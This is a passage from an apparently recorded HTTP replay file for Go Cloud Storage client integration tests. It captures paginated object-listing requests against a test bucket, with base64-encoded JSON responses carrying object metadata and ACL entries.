9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoib2VvK0ZBPT0iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9XX0=" - } - }, - { - "ID": "dc8959751769ee9c", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=ChBvYmovd2l0aC9zbGFzaGVz\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3214" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:08 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:08 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqLeV9n2aiAq15pl3CqEWOt3_OYHsxbG0lHFIKr7Emh5btUEXLXl4nZWPi27LinKW7i0LYvp-HZK5b9E742MR_PNFe87treTpz_QgUmchGPKLcdZVM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwibmV4dFBhZ2VUb2tlbiI6IkNnUnZZbW94IiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEiLCJuYW1lIjoib2JqMSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJ0ZXh0L3BsYWluIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJTbmEvVVd2N21jWkkyM29FNXRVYWJRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMT9nZW5lcmF0aW9uPTE1NTY4MzU4NDQ2NDcyMjUmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJDVDZkVEE9PSIsImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In1dfQ==" - } - }, - { - "ID": "23f7f167269db6b2", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=CgRvYmox\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3187" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:08 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:08 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo4hY4jSbETgB5jf-AU8_b1sRvfTSrlt_Pt6UXiuTte4GtueVBgDwuMEliwE2-nOSiRE6juXOCbR1LQlRrpek1TLeRRf1cCVbz90YcCIGhWV_zFz0o" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIiLCJuYW1lIjoib2JqMiIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJ0ZXh0L3BsYWluIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJDQzF3bHdyTU9JcTBkdk1rTXlsVWhnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMj9nZW5lcmF0aW9uPTE1NTY4MzU4NDUwNDkyNDUmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJqVjVBVlE9PSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dfQ==" - } - }, - { - "ID": "518c5855f7f2035b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=2\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "6581" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:09 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:09 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqGaiKkmr1oBduBvG8APGBVoM_Ve7zHw4TBuyV3QYcFr9SYzEnATEwE5P6BH-yBsVXSmaRLej1a55x18Bra_ZAC7nYh2UKvWM66JGE3U1muaDBabyw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwibmV4dFBhZ2VUb2tlbiI6IkNnUnZZbW94IiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzIiwibmFtZSI6Im9iai93aXRoL3NsYXNoZXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidWV6L2hKNndBcmVEUW5jY0RVZHhmZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzP2dlbmVyYXRpb249MTU1NjgzNTg0NTUxMTAxOCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1M